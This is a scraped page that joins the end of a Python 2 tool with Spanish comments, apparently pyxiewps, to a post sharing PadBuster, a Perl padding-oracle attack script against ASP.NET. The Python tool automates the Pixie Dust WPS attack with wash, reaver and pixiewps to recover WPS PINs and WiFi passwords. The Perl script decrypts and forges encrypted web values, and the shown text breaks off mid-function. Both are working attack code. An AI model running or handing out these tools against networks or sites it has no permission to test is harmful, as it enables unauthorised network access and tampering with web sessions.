    Se basa en el booleano "self.IS_MON"
    """   
    
    if self.IS_MON:
      cmd = 'airmon-ng stop ' + self.get_iface()
      print INFO + 'Terminando el modo monitor en la interfaz %s...' %self.IFACE_MON
      proc = subprocess.call(cmd, shell = True, stdout = subprocess.PIPE)
      self.IS_MON = False
      print INFO + 'Listo'
    else:
      cmd = 'airmon-ng start ' + self.get_iface()
      print INFO + 'Configurando la interfaz en modo monitor...'
      proc = subprocess.call(cmd, shell = True, stdout = subprocess.PIPE)
      self.check_iface()
      print INFO + "%s corriendo en modo monitor" %self.IFACE
      
  def data_file(self, data):
    """
    Guarda la informacion en un archivo
    """
    system('echo INFORMACION >> %s' %OUTPUT_FILE)
    with open(OUTPUT_FILE, 'a+') as f:
      fecha = str(time.gmtime()[1])+'-'+str(time.gmtime()[2])+'-'+str(time.gmtime()[0])
      hora = str((time.gmtime()[3])-3).zfill(2)+':'+str(time.gmtime()[4]).zfill(2)
      f.write(fecha+' | '+hora+'\n')
      f.writelines(data)
    print INFO + "Se guardo la informacion en el archivo %s" %OUTPUT_FILE
    
  def get_binarios(self):
    """
    Instala reaver, pixiewps y otras dependencias
    """
    
    git = 'apt-get -y install git'
    reaver_dep = 'apt-get -y install build-essential libpcap-dev sqlite3 libsqlite3-dev aircrack-ng'
    pixie_dep = 'sudo apt-get -y install libssl-dev'
    reaver = 'git clone https://github.com/t6x/reaver-wps-fork-t6x.git'
    pixiewps = 'git clone https://github.com/wiire/pixiewps.git'
    aircrack = 'apt-get -y install aircrack-ng'
    if not engine.GIT:
      print INFO + "Instalando git"
      proc4 = system(git)
    if not engine.AIRMON:
      print INFO + "Instalando aircrack..."
      proc5 = system(aircrack)
    if not engine.PIXIEWPS:
      print INFO + "Instalando dependencias de pixiewps..."
      proc2 = system(pixie_dep)
      print INFO + "Descargando pixiewps..."
      proc3 = system(pixiewps)    
    if not engine.REAVER:
      print INFO + "Instalando las dependencias de reaver..."
      proc = system(reaver_dep)
      print INFO + "Descargando reaver..."
      proc1 = system(reaver)
    if path.isdir('pixiewps') and not engine.PIXIEWPS:
      print INFO + "Instalando pixiewps..."
      system('cd pixiewps/src && make && make install')
      print INFO + "Listo"
    if path.isdir('reaver-wps-fork-t6x') and not engine.REAVER:
      print INFO + "Instalando reaver..."
      system('cd reaver-wps-fork-t6x* && cd src && ./configure && make && make install')
      print INFO + "Listo"
    engine.check(check_again = True)

  def check_reaver_version(self):
    """
    Devuelve la version de reaver que se tiene instalada
    """
    
    output = subprocess.Popen('reaver -h', shell = True, stdout = subprocess.PIPE, stderr = subprocess.PIPE)
    output = output.communicate()
    if 'Reaver v1.5.2 WiFi Protected Setup Attack Tool' in output[0] and 'mod by t6_x' in output[0]:
      return '1.5.2'
    elif output[0] != '':
      return output[0][9:12]
    elif 'Reaver v1.5.2 WiFi Protected Setup Attack Tool' in output[1] and 'mod by t6_x' in output[1]:
      return '1.5.2'
    elif output[1] != '':
      return output[1][9:12]

class Attack():
  """
  Funciones de ataque y recopilacion de informacion del AP
  """
  
  def get_wps_aps(self):
    """
    Enumera los APs con WPS
    Crea las instancias de Target.
    Pasa a get_reaver_info
    """

    print INFO + "Enumerando APs con WPS activado..."
    cmd = 'wash -i %s -P' %(c.IFACE_MON)
    if WASH_CHANNEL != '':
      cmd = cmd + ' -c %d' %WASH_CHANNEL
    lista_aps = engine.run(cmd, shell = True, timeout = WASH_TIME)
    lista_provisoria = []
    ultimo = len(lista_aps)-1
    for linea in lista_aps:             # Esto se tiene que hacer por irregularidades ocasionales
      if '|' in linea:                  # en el output del wash.
	lista_provisoria.append(linea)  #
    lista_aps = lista_provisoria        #
    if lista_aps == []:
      print
      print ALERTA + "No se encontraron APs con WPS activado."
      print
      if not FOREVER:
	engine.exit_limpio()
    else:
      for_fill = lista_aps                                              #\
      essids = []                                                       #|
      for line in for_fill:                                             #|- Para que quede mas linda la lista
	line = line.split('|')                                          #|- de los APs.
	essids.append(line[5].strip())                                  #|
      fill = len(max(essids))                                           #/
      print INFO + "Se encontraron los siguientes APs con WPS activado:"
      for linea in lista_aps:
	linea = linea.split('|')
	fill_line = fill - len(linea[5].strip())
	print '\t' + INPUT + str(linea[5].strip()) + ' '*fill_line + ' || ' + linea[0] + ' || Canal: ' + linea[1] + ' || WPS locked?: ' + linea[4]
      if USE_REAVER:
	while True:
	  try:
	    if len(lista_aps) != 1 and PROMPT_APS: 
	      choice = int(raw_input("%sProporcione el inice del AP: " %INPUT))
	      provisoria = []
	      provisoria.append(lista_aps[choice])
	      lista_aps = provisoria
	      break
	    else:
	      break
	  except KeyboardInterrupt:
	    print
	    engine.exit_limpio()
	    break
	  except ValueError:
	    print ALERTA + "Proporcione un numero entre 0 y %d" %ultimo
	if not OVERRIDE and path.isfile('pyxiewpsdata.txt'):
	  coincidencias = []
	  pin_correspondiente = []
	  with open('pyxiewpsdata.txt') as f:
	    ya_sacados = f.readlines()
	  if len(ya_sacados) > 1:
	    ya_sacados.reverse() # Se revierte para tomar el pin mas actualizado ante un posible
	    for target in lista_aps: # cambio del pin WPS.
	      for line in ya_sacados[1:]:
		if target.split('|')[5].strip() == line.strip():
		  coincidencias.append(target)
		  pin_correspondiente.append(ya_sacados[ya_sacados.index(line)-1].strip())
	    for i in set(coincidencias):
	      print OPCION + "El pin de %s ya ha sido averiguado: " %i.split('|')[5].strip()
	      print '\t'+ INPUT + pin_correspondiente[coincidencias.index(i)]
	      print OPCION + "Desea saltearlo? [S/n]: "
	      try:
		choice = raw_input("%s Enter para saltear: " %INPUT)
	      except KeyboardInterrupt:
		print
		engine.exit_limpio()
	      if choice in CHOICES_YES:
		lista_aps.remove(i)
	for linea in lista_aps:
	  args = engine.parse_wash(linea.strip())
	  self.get_reaver_info(args[0],args[1],args[2])
	if not FOREVER:
	  engine.exit_limpio()
	else:
	  pass
  
  def get_reaver_info(self, bssid, canal, essid):
    """
    Recopila la informacion vital para
    el ataque PixieDust. PKR, PKE, HASH1, HASH2, AUTHKEY
    Actua dentro del for-loop de get_wps_aps
    """

    print INFO + "Recopilando informacion de %s con reaver..." %essid
    output = engine.run(cmd=['reaver','-i',c.IFACE_MON,'-b',bssid,'-vv','-L','-c',canal], timeout = REAVER_TIME)
    data = engine.parse_reaver(output)
    if data == 'noutput':
      print
      print ALERTA + "No se pudo obtener la informacion necesaria del AP"
      print ALERTA + "Pruebe con un tiempo mas alto como argumento -t"
      print "    y si aun no se puede obtener la informacion"
      print "    mejore la recepcion de su interfaz"
      print
      if MACCHANGER and FOREVER:
	engine.mac_changer()
      elif MACCHANGER and not FOREVER:
	print ALERTA + "No se cambia la MAC porque se ejecuto una sola vez"
	print "    Corra el programa con el argumento -F para correr indefinidamente"
	print
      elif not MACCHANGER:
	print ALERTA + "No se puede cambiar la MAC del dispositivo"
	print "    porque no se tiene macchanger instalado."
	print
    elif data == 'more time please':
      print
      print ALERTA + "El programa obtuvo alguna informacion pero no alcanzo"
      print "    a recuperar todo lo necesario. Aumente el tiempo para buscar"
      print "    la informacion del AP con el argumento -t. Por default -t es 6 segundos"
      print
    elif data == 'ap rate limited':
      print
      print ALERTA + "Al AP no le gustan los ataques de WPS"
      print "    por lo tanto no se pudo recopilar la informacion"
      print
      if MACCHANGER and FOREVER:
	engine.mac_changer()
      elif MACCHANGER and not FOREVER:
	print ALERTA + "No se cambia la MAC porque se ejecuto una sola vez"
	print "    Corra el programa con el argumento -F para atacar indefinidamente"
	print
      elif not MACCHANGER:
	print ALERTA + "No se puede cambiar la MAC del dispositivo"
	print "    porque no se tiene macchanger instalado."
	print
    elif data == 'cacota':
      print
      print "Seleccione una opcion de sesion para reaver"
      if not FOREVER:
	engine.exit_limpio()
    else:
      print INFO + "Exito. Se encontro la informacion necesaria."
      for_file = ['ESSID: ' + data[10] + '\n','MAC: ' + data[11] + '\n','PKE: ' + data[0] + '\n',
      'PKR: ' + data[1] + '\n','HASH1: ' + data[2] + '\n','HASH2: ' + data[3] + '\n',
      'E-NONCE: ' + data[8] + '\n','R-NONCE: ' + data[9] + '\n','AUTHKEY: ' + data[4] + '\n',
      'FABRICANTE: ' + data[5] + '\n','MODELO: ' + data[6] + '\n','NUMERO DE MODELO: ' + data[7] + '\n']
      if PRINT_REAVER:
	print
	for linea in for_file:
	  print DATA + linea.strip()
	print
      if OUTPUT and not USE_PIXIEWPS:
	for_file.append('-'*40+'\n')
	c.data_file(for_file)
      if USE_PIXIEWPS:
	self.pixie_attack(data,for_file,canal)

  def pixie_attack(self,data,for_file,canal):
    """
    intenta recuperar el pin WPS usando el ataque PixieDust
    """
    
    ESSID = data[10]
    BSSID = data[11]
    PKE = data[0]
    PKR = data[1]
    HASH1 = data[2]
    HASH2 = data[3]
    AUTHKEY = data[4]
    E_NONCE = data[8]
    R_NONCE = data[9]
    
    cmd = ['pixiewps','-e',PKE,'-r',PKR,'-s',HASH1,'-z',HASH2,'-a',AUTHKEY,'-n',E_NONCE]
    cmd1 = ['pixiewps','-e',PKE,'-s',HASH1,'-z',HASH2,'-a',AUTHKEY,'-n',E_NONCE,'-S']
    cmd2 = ['pixiewps','-e',PKE,'-s',HASH1,'-z',HASH2,'-n',E_NONCE,'-m',R_NONCE,'-b',BSSID,'-S']
    pin = ''
    cmd_list = [cmd, cmd1, cmd2]
    output = []
    for command in cmd_list:
      try:
	output = subprocess.check_output(command)
	output = output.strip().split('\n')
	for linea in output:
	  if '[+] WPS pin:' in linea:
	    result = compile('\d+')
	    pin = result.search(linea).group(0)
	    break
	  else:
	    pass
      except:             #Tengo que manejar un posible error del Pixie
	pass
      if pin != '': break
    if pin != '' and len(pin) == 8:
      print INFO + "Pin WPS encontrado!"
      print "\t" + INPUT + pin
      for_file.append('Pin WPS: '+pin+'\n')
      system('echo >> pyxiewpsdata.txt')
      with open('pyxiewpsdata.txt','a+') as f:
	f.write(ESSID+'\n')
	f.write(pin)
    elif pin == '':
      print
      print ALERTA + "No se encontro el pin WPS."
      print "    Es posible que el AP no sea vulnerable al"
      print "    ataque PixieDust y nunca lo sea"
      print
      
    if GET_PASSWORD and pin != '':
      self.get_password(for_file, BSSID, pin, canal)
    elif OUTPUT:
      for_file.append('-'*40+'\n')
      c.data_file(for_file)
  
  def get_password(self, for_file, BSSID, pin, canal):
    """
    Intenta averiguar la contrasenia, una vez que se consiguio el pin WPS
    """
    
    output = engine.run(cmd=['reaver','-i',c.IFACE_MON,'-b',BSSID,'-vv','-c',canal,'-p',pin,'-L'], timeout = (REAVER_TIME+4))
    password = engine.parse_reaver(output, pin_encontrado = True)
    if password == 'no password':
      print
      print ALERTA + "No se pudo recuperar la contrasenia en este momento"
      print "    pero puede acceder a la red WiFi a traves del pin WPS"
      print
    else:
      print INFO + "Clave encontrada!"
      print '\t' + INPUT + password.strip()
    if OUTPUT:
      for_file.append('Password: ' + password + '\n'+'-'*40+'\n')
      c.data_file(for_file)

if __name__ == '__main__':
  arg_parser()
  banner()
  try:
    c = Config()
    engine = Engine()
    engine.check()
  except KeyboardInterrupt, EOFError:
    print
    print ALERTA + "Programa interrumpido!"
    print    
    engine.exit_limpio()

Source : https://github.com/jgilhutton

Python and Perl script to exploit ASP.net Padding Oracle vulnerability.

$
0
0

Python and Perl script to exploit ASP.net Padding Oracle vulnerability.
+ vuln scanning for ASP.NET padding oracle.
+ PadBuster v0.3.3 – Automated script for performing Padding Oracle attacks.
padBuster.pl Script :

#!/usr/bin/perl
#
# PadBuster v0.3.3 - Automated script for performing Padding Oracle attacks
# Brian Holyfield - Gotham Digital Science (labs@gdssecurity.com)
#
# Credits to J.Rizzo and T.Duong for providing proof of concept web exploit
# techniques and S.Vaudenay for initial discovery of the attack. Credits also
# to James M. Martin (research@esptl.com) for sharing proof of concept exploit
# code for performing various brute force attack techniques, and wireghoul (Eldar 
# Marcussen) for making code quality improvements.  
# 

use LWP::UserAgent;
use strict;
use warnings;
use Getopt::Std;
use MIME::Base64;
use URI::Escape;
use Getopt::Long;
use Time::HiRes qw( gettimeofday );
use Compress::Zlib;
#use Crypt::SSLeay;

# Set defaults with $variable = value
my $logFiles;
my $post;
my $encoding = 0;
my $headers;
my $cookie;
my $error;
my $prefix;
my $intermediaryInput;
my $cipherInput;
my $plainTextInput;
my $encodedPlainTextInput;
my $noEncodeOption;
my $superVerbose;
my $proxy;
my $proxyAuth;
my $noIv;
my $auth;
my $resumeBlock;
my $interactive = 0;
my $bruteForce;
my $ignoreContent;
my $useBody;
my $verbose;

GetOptions( "log" => \$logFiles,
            "post=s" => \$post,
            "encoding=s" => \$encoding,
            "headers=s" => \$headers,
            "cookies=s" => \$cookie,
            "error=s" => \$error,
            "prefix=s" => \$prefix,
            "intermediate=s" => \$intermediaryInput,
            "ciphertext=s" => \$cipherInput,
            "plaintext=s" => \$plainTextInput,
	    "encodedtext=s" => \$encodedPlainTextInput,
            "noencode" => \$noEncodeOption,
            "veryverbose" => \$superVerbose,
            "proxy=s" => \$proxy,
            "proxyauth=s" => \$proxyAuth,
            "noiv" => \$noIv,
            "auth=s" => \$auth,
            "resume=s" => \$resumeBlock,
            "interactive" => \$interactive,
            "bruteforce" => \$bruteForce,
            "ignorecontent" => \$ignoreContent,
            "usebody" => \$useBody,
            "verbose" => \$verbose);
  
print "\n+-------------------------------------------+\n";
print "|  MyPadBuster v0.0.1                       |\n";
print "|  Avfisher - Wooyun.org                    |\n";
print "|  security_alert#126.com                   |\n";
print "|  Referrer: PadBuster - v0.3.3             |\n";
print "+-------------------------------------------+\n";

if ($#ARGV < 2) { 
 die "    
    Use: padBuster.pl URL EncryptedSample BlockSize [options]
  Where: URL = The target URL (and query string if applicable)
         EncryptedSample = The encrypted value you want to test. Must
                           also be present in the URL, PostData or a Cookie
         BlockSize = The block size being used by the algorithm
Options:
	 -auth [username:password]: HTTP Basic Authentication 
	 -bruteforce: Perform brute force against the first block 
	 -ciphertext [Bytes]: CipherText for Intermediate Bytes (Hex-Encoded)
         -cookies [HTTP Cookies]: Cookies (name1=value1; name2=value2)
         -encoding [0-4]: Encoding Format of Sample (Default 0)
                          0=Base64, 1=Lower HEX, 2=Upper HEX
                          3=.NET UrlToken, 4=WebSafe Base64
         -encodedtext [Encoded String]: Data to Encrypt (Encoded)
         -error [Error String]: Padding Error Message
         -headers [HTTP Headers]: Custom Headers (name1::value1;name2::value2)
	 -interactive: Prompt for confirmation on decrypted bytes
	 -intermediate [Bytes]: Intermediate Bytes for CipherText (Hex-Encoded)
	 -log: Generate log files (creates folder PadBuster.DDMMYY)
	 -noencode: Do not URL-encode the payload (encoded by default)
	 -noiv: Sample does not include IV (decrypt first block) 
         -plaintext [String]: Plain-Text to Encrypt
         -post [Post Data]: HTTP Post Data String
	 -prefix [Prefix]: Prefix bytes to append to each sample (Encoded) 
	 -proxy [address:port]: Use HTTP/S Proxy
	 -proxyauth [username:password]: Proxy Authentication
	 -resume [Block Number]: Resume at this block number
	 -usebody: Use response body content for response analysis phase
         -verbose: Be Verbose
         -veryverbose: Be Very Verbose (Debug Only)
         
";}

# Ok, if we've made it this far we are ready to begin..
my $url = $ARGV[0];
my $sample = $ARGV[1];
my $blockSize = $ARGV[2];

if ($url eq "" || $sample eq "" || $blockSize eq "") {
	print "\nERROR: The URL, EncryptedSample and BlockSize cannot be null.\n";
	exit();
}

# Hard Coded Inputs
#$post = "";
#$sample = "";

my $method = $post ? "POST" : "GET";

# These are file related variables
my $dirName = "PadBuster." . &getTime("F");
my $dirSlash = "/";
my $dirCmd = "mkdir ";
if (defined($ENV{'OS'})) {
 if ($ENV{OS} =~ /Windows/) {
  $dirSlash = "\\";
  $dirCmd = "md ";
 }
}
my $dirExists = 0;
my $printStats = 0;
my $requestTracker = 0;
my $timeTracker = 0;
 
if ($encoding < 0 || $encoding > 4) {
	print "\nERROR: Encoding must be a value between 0 and 4\n";
	exit();
} 
my $encodingFormat = $encoding ? $encoding : 0;

my $encryptedBytes = $sample;
my $totalRequests = 0;

# See if the sample needs to be URL decoded, otherwise don't (the plus from B64 will be a problem)
if ($sample =~ /\%/) {
	$encryptedBytes = &uri_unescape($encryptedBytes)
}

# Prep the sample for regex use
$sample = quotemeta $sample;

# Now decode
$encryptedBytes = &myDecode($encryptedBytes, $encodingFormat);
if ( (length($encryptedBytes) % $blockSize) > 0) {
	print "\nERROR: Encrypted Bytes must be evenly divisible by Block Size ($blockSize)\n";
	print "       Encrypted sample length is ".int(length($encryptedBytes)).". Double check the Encoding and Block Size.\n";
	exit();
}

# If no IV, then append nulls as the IV (only if decrypting)
if ($noIv && !$bruteForce && !$plainTextInput) {
	$encryptedBytes = "\x00" x $blockSize . $encryptedBytes;
}

# PlainTextBytes is where the complete decrypted sample will be stored (decrypt only)
my $plainTextBytes;

# This is a bool to make sure we know where to replace the sample string
my $wasSampleFound = 0;

# ForgedBytes is where the complete forged sample will be stored (encrypt only)
my $forgedBytes;

# Isolate the IV into a separate byte array
my $ivBytes = substr($encryptedBytes, 0, $blockSize);

# Declare some optional elements for storing the results of the first test iteration
# to help the user if they don't know what the padding error looks like
my @oracleCantidates;
my $oracleSignature = "";
my %oracleGuesses;
my %responseFileBuffer;

# The block count should be the sample divided by the blocksize
my $blockCount = int(length($encryptedBytes)) / int($blockSize);

if (!$bruteForce && !$plainTextInput && $blockCount < 2) {
	print "\nERROR: There is only one block. Try again using the -noiv option.\n";
	exit();
}

# The attack works by sending in a real cipher text block along with a fake block in front of it
# You only ever need to send two blocks at a time (one real one fake) and just work through
# the sample one block at a time


# First, re-issue the original request to let the user know if something is potentially broken
my ($status, $content, $location, $contentLength) = &makeRequest($method, $url, $post, $cookie);

&myPrint("\nINFO: The original request returned the following",0);
&myPrint("[+] Status: $status",0);	
&myPrint("[+] Location: $location",0);
&myPrint("[+] Content Length: $contentLength\n",0);
&myPrint("[+] Response: $content\n",1);

$plainTextInput = &myDecode($encodedPlainTextInput,$encodingFormat) if $encodedPlainTextInput;

if ($bruteForce) {
	&myPrint("INFO: Starting PadBuster Brute Force Mode",0);
	my $bfAttempts = 0;
	
	print "INFO: Resuming previous brute force at attempt $resumeBlock\n" if $resumeBlock;
	
	# Only loop through the first 3 bytes...this should be enough as it 
	# requires 16.5M+ requests
	
	my @bfSamples;
	my $sampleString = "\x00" x 2;
	for my $c (0 ... 255) {
	 substr($sampleString, 0, 1, chr($c));
	 for my $d (0 ... 255) {
	  substr($sampleString, 1, 1, chr($d));
	  push (@bfSamples, $sampleString);
	 }
	}

	foreach my $testVal (@bfSamples) {
	 my $complete = 0;
	 while ($complete == 0) {
	  my $repeat = 0;
	  for my $b (0 ... 255) {
  	   $bfAttempts++;  	   
  	   if ( $resumeBlock && ($bfAttempts < ($resumeBlock - ($resumeBlock % 256)+1)) ) {
		   #SKIP
	   } else {
		   my $testBytes = chr($b).$testVal;
		   $testBytes .= "\x00" x ($blockSize-3);

		   my $combinedBf = $testBytes;  
		   $combinedBf .= $encryptedBytes;
		   $combinedBf = &myEncode($combinedBf, $encoding);

		   # Add the Query String to the URL
		   my ($testUrl, $testPost, $testCookies) = &prepRequest($url, $post, $cookie, $sample, $combinedBf);  	  
		   

		   # Issue the request
		   my ($status, $content, $location, $contentLength) = &makeRequest($method, $testUrl, $testPost, $testCookies);

		   my $signatureData = "$status\t$contentLength\t$location";
		   $signatureData = "$status\t$contentLength\t$location\t$content" if $useBody;

		   if ($oracleSignature eq "") {
			&myPrint("[+] Starting response analysis...\n",0) if ($b ==0);
			$oracleGuesses{$signatureData}++;
			$responseFileBuffer{$signatureData} = "Status: $status\nLocation: $location\nContent-Length: $contentLength\nContent:\n$content";
			if ($b == 255) {
				&myPrint("*** Response Analysis Complete ***\n",0);
				&determineSignature();
				$printStats = 1;
				$timeTracker = 0;
				$requestTracker = 0;
				$repeat = 1;
				$bfAttempts = 0;
			}
		   }
		   if ($oracleSignature ne "" && $oracleSignature ne $signatureData) {
			&myPrint("\nAttempt $bfAttempts - Status: $status - Content Length: $contentLength\n$testUrl\n",0);
			&writeFile("Brute_Force_Attempt_".$bfAttempts.".txt", "URL: $testUrl\nPost Data: $testPost\nCookies: $testCookies\n\nStatus: $status\nLocation: $location\nContent-Length: $contentLength\nContent:\n$content");
		   }
	   }
	  }
	  ($repeat == 1) ? ($complete = 0) : ($complete = 1);
	 } 
	}  
} elsif ($plainTextInput) {
	# ENCRYPT MODE
	&myPrint("INFO: Starting PadBuster Encrypt Mode",0);
	
	# The block count will be the plaintext divided by blocksize (rounded up)	
	my $blockCount = int(((length($plainTextInput)+1)/$blockSize)+0.99);
	&myPrint("[+] Number of Blocks: ".$blockCount."\n",0);
	
	my $padCount = ($blockSize * $blockCount) - length($plainTextInput);	
	$plainTextInput.= chr($padCount) x $padCount;
	
	# SampleBytes is the encrypted text you want to derive intermediate values for, so 
	# copy the current ciphertext block into sampleBytes
	# Note, nulls are used if not provided and the intermediate values are brute forced
	
	$forgedBytes = $cipherInput ? &myDecode($cipherInput,1) : "\x00" x $blockSize;
	my $sampleBytes = $forgedBytes;
	
	for (my $blockNum = $blockCount; $blockNum > 0; $blockNum--) { 	
		# IntermediaryBytes is where the intermediate bytes produced by the algorithm are stored
		my $intermediaryBytes;
		
		if ($intermediaryInput && $blockNum == $blockCount) {
			$intermediaryBytes = &myDecode($intermediaryInput,2);
		} else {
			$intermediaryBytes = &processBlock($sampleBytes);
		}
				
	        # Now XOR the intermediate bytes with the corresponding bytes from the plain-text block
	        # This will become the next ciphertext block (or IV if the last one)
	        $sampleBytes = $intermediaryBytes ^ substr($plainTextInput, (($blockNum-1) * $blockSize), $blockSize);
		$forgedBytes = $sampleBytes.$forgedBytes;
		
		&myPrint("\nBlock ".($blockNum)." Results:",0);
		&myPrint("[+] New Cipher Text (HEX): ".&myEncode($sampleBytes,1),0);
		&myPrint("[+] Intermediate Bytes (HEX): ".&myEncode($intermediaryBytes,1)."\n",0);
		
	}
	$forgedBytes = &myEncode($forgedBytes, $encoding);
	chomp($forgedBytes);
} else {
	# DECRYPT MODE
	&myPrint("INFO: Starting PadBuster Decrypt Mode",0);
	
	if ($resumeBlock) {
		&myPrint("INFO: Resuming previous exploit at Block $resumeBlock\n",0);
	} else {
		$resumeBlock = 1
	}
	
	# Assume that the IV is included in our sample and that the first block is the IV	
	for (my $blockNum = ($resumeBlock+1); $blockNum <= $blockCount; $blockNum++) { 
		# Since the IV is the first block, our block count is artificially inflated by one
		&myPrint("*** Starting Block ".($blockNum-1)." of ".($blockCount-1)." ***\n",0);
		
		# SampleBytes is the encrypted text you want to break, so 
		# lets copy the current ciphertext block into sampleBytes
		my $sampleBytes = substr($encryptedBytes, ($blockNum * $blockSize - $blockSize), $blockSize);

		# IntermediaryBytes is where the the intermediary bytes produced by the algorithm are stored
		my $intermediaryBytes = &processBlock($sampleBytes);

		# DecryptedBytes is where the decrypted block is stored
		my $decryptedBytes;			        	

		# Now we XOR the decrypted byte with the corresponding byte from the previous block
		# (or IV if we are in the first block) to get the actual plain-text
		$blockNum == 2 ? $decryptedBytes = $intermediaryBytes ^ $ivBytes : $decryptedBytes = $intermediaryBytes ^ substr($encryptedBytes, (($blockNum - 2) * $blockSize), $blockSize);

		&myPrint("\nBlock ".($blockNum-1)." Results:",0);
		&myPrint("[+] Cipher Text (HEX): ".&myEncode($sampleBytes,1),0);
		&myPrint("[+] Intermediate Bytes (HEX): ".&myEncode($intermediaryBytes,1),0);
		&myPrint("[+] Plain Text: $decryptedBytes\n",0);
		$plainTextBytes = $plainTextBytes.$decryptedBytes;
	}
}

&myPrint("-------------------------------------------------------",0);	
&myPrint("** Finished ***\n", 0);
if ($plainTextInput) {
	&myPrint("[+] Encrypted value is: ".&uri_escape($forgedBytes),0);
	open (my $value,">>./encryptedvalue.txt") or die "ERROR: Can't write to file encryptedvalue.txt\n";
        print $value $url.",".(split('=', $url))[0]."=".&uri_escape($forgedBytes)."\n";
        close($value);
} else {	
	&myPrint("[+] Decrypted value (ASCII): $plainTextBytes\n",0);
	&myPrint("[+] Decrypted value (HEX): ".&myEncode($plainTextBytes,2)."\n", 0);
	&myPrint("[+] Decrypted value (Base64): ".&myEncode($plainTextBytes,0)."\n", 0);
}
&myPrint("-------------------------------------------------------\n",0);	

sub determineSignature { 
	# Help the user detect the oracle response if an error string was not provided
	# This logic will automatically suggest the response pattern that occured most often 
	# during the test as this is the most likeley one

	my @sortedGuesses = sort {$oracleGuesses{$a} <=> $oracleGuesses{$b}} keys %oracleGuesses; 

	&myPrint("The following response signatures were returned:\n",0);
	&myPrint("-------------------------------------------------------",0);
	if ($useBody) {
		&myPrint("ID#\tFreq\tStatus\tLength\tChksum\tLocation",0);
	} else 	{
		&myPrint("ID#\tFreq\tStatus\tLength\tLocation",0);
	}
	&myPrint("-------------------------------------------------------",0);

	my $id = 1;

	foreach (@sortedGuesses) {
		my $line = $id;
		($id == $#sortedGuesses+1 && $#sortedGuesses != 0) ? $line.= " **" : $line.="";
		my @sigFields = split("\t", $_);
		$line .= "\t$oracleGuesses{$_}\t$sigFields[0]\t$sigFields[1]";
		$useBody ? ( $line .= "\t".unpack( '%32A*', $sigFields[3] ) ) : $line.="";
		$line .= "\t$sigFields[2]";
		&myPrint($line,0);
		&writeFile("Response_Analysis_Signature_".$id.".txt", $responseFileBuffer{$_});
		$id++;
	}
	&myPrint("-------------------------------------------------------",0);	

	if ($#sortedGuesses == 0 && !$bruteForce) {
		&myPrint("\nERROR: All of the responses were identical.\n",0);
		&myPrint("Double check the Block Size and try again.",0);
		exit();
	} else {
		my $responseNum = &promptUser("\nEnter an ID that matches the error condition\nNOTE: The ID# marked with ** is recommended");
		&myPrint("\nContinuing test with selection $responseNum\n",0);
		$oracleSignature = $sortedGuesses[$responseNum-1];
	}
}

sub prepRequest {
	my ($pUrl, $pPost, $pCookie, $pSample, $pTestBytes) = @_;

	# Prepare the request			
	my $testUrl = $pUrl;
	my $wasSampleFound = 0;
	
	if ($pUrl =~ /$pSample/) {
		$testUrl =~ s/$pSample/$pTestBytes/;
		$wasSampleFound = 1;
	} 

	my $testPost = "";						
	if ($pPost) {
		$testPost = $pPost;
		if ($pPost =~ /$pSample/) {
			$testPost =~ s/$pSample/$pTestBytes/;
			$wasSampleFound = 1;
		}
	}

	my $testCookies = "";
	if ($pCookie) {
		$testCookies = $pCookie;
		if ($pCookie =~ /$pSample/) {
			$testCookies =~ s/$pSample/$pTestBytes/;
			$wasSampleFound = 1;
		}
	}

	if ($wasSampleFound == 0) {
		&myPrint("ERROR: Encrypted sample was not found in the test request",0);
		exit();
	}
	return ($testUrl, $testPost, $testCookies);
}

sub processBlock {
  	my ($sampleBytes) = @_; 
  	my $analysisMode;
  	# Analysis mode is either 0 (response analysis) or 1 (exploit)  	
  	$analysisMode = (!$error && $oracleSignature eq "") ? 0 : 1;
  	
  	# The return value of this subroutine is the intermediate text for the block
	my $returnValue;
  	
  	my $complete = 0;
  	my $autoRetry = 0;
  	my $hasHit = 0;
  	
  	while ($complete == 0) {
  		# Reset the return value
  		$returnValue = "";
  		
  		my $repeat = 0;
	
		# TestBytes are the fake bytes that are pre-pending to the cipher test for the padding attack
		my $testBytes = "\x00" x $blockSize;
	
		my $falsePositiveDetector = 0;

		# Work on one byte at a time, starting with the last byte and moving backwards
		OUTERLOOP:
		for (my $byteNum = $blockSize - 1; $byteNum >= 0; $byteNum--) {
			INNERLOOP:
			for (my $i = 255; $i >= 0; $i--) {			
				# Fuzz the test byte
				substr($testBytes, $byteNum, 1, chr($i));

				# Combine the test bytes and the sample
				my $combinedTestBytes = $testBytes.$sampleBytes;

				if ($prefix) {
					$combinedTestBytes = &myDecode($prefix,$encodingFormat).$combinedTestBytes 
				}

				$combinedTestBytes = &myEncode($combinedTestBytes, $encodingFormat);				
				chomp($combinedTestBytes);

				if (! $noEncodeOption) {
					$combinedTestBytes = &uri_escape($combinedTestBytes); 
				}

				my ($testUrl, $testPost, $testCookies) = &prepRequest($url, $post, $cookie, $sample, $combinedTestBytes);

				# Ok, now make the request

				my ($status, $content, $location, $contentLength) = &makeRequest($method, $testUrl, $testPost, $testCookies);

				
				my $signatureData = "$status\t$contentLength\t$location";
				$signatureData = "$status\t$contentLength\t$location\t$content" if $useBody;
				
				# If this is the first block and there is no padding error message defined, then cycle through 
				# all possible requests and let the user decide what the padding error behavior is.
				if ($analysisMode == 0) {
					&myPrint("INFO: No error string was provided...starting response analysis\n",0) if ($i == 255);
					$oracleGuesses{$signatureData}++;
					
					$responseFileBuffer{$signatureData} = "URL: $testUrl\nPost Data: $testPost\nCookies: $testCookies\n\nStatus: $status\nLocation: $location\nContent-Length: $contentLength\nContent:\n$content";
					
					if ($byteNum == $blockSize - 1 && $i == 0) {
						&myPrint("*** Response Analysis Complete ***\n",0);
						&determineSignature();
						$analysisMode = 1;
						$repeat = 1;
						last OUTERLOOP;
					}
				}

				my $continue = "y";

				if (($error && $content !~ /$error/) || ($oracleSignature ne "" && $oracleSignature ne $signatureData)) {
					# This is for autoretry logic (only works on the first byte)
					if ($autoRetry == 1 &&  ($byteNum == ($blockSize - 1) ) && $hasHit == 0 ) {
						$hasHit++;
					} else {
						# If there was no padding error, then it worked
						&myPrint("[+] Success: (".abs($i-256)."/256) [Byte ".($byteNum+1)."]",0);
						&myPrint("[+] Test Byte:".&uri_escape(substr($testBytes, $byteNum, 1)),1);
						
						# If continually getting a hit on attempt zero, then something is probably wrong
						$falsePositiveDetector++ if ($i == 255);

						if ($interactive == 1) {
							$continue = &promptUser("Do you want to use this value (Yes/No/All)? [y/n/a]","",1);
						}

						if ($continue eq "y" || $continue eq "a") {
							$interactive = 0 if ($continue eq "a");

							# Next, calculate the decrypted byte by XORing it with the padding value
							my ($currentPaddingByte, $nextPaddingByte);

							# These variables could allow for flexible padding schemes (for now PCKS)
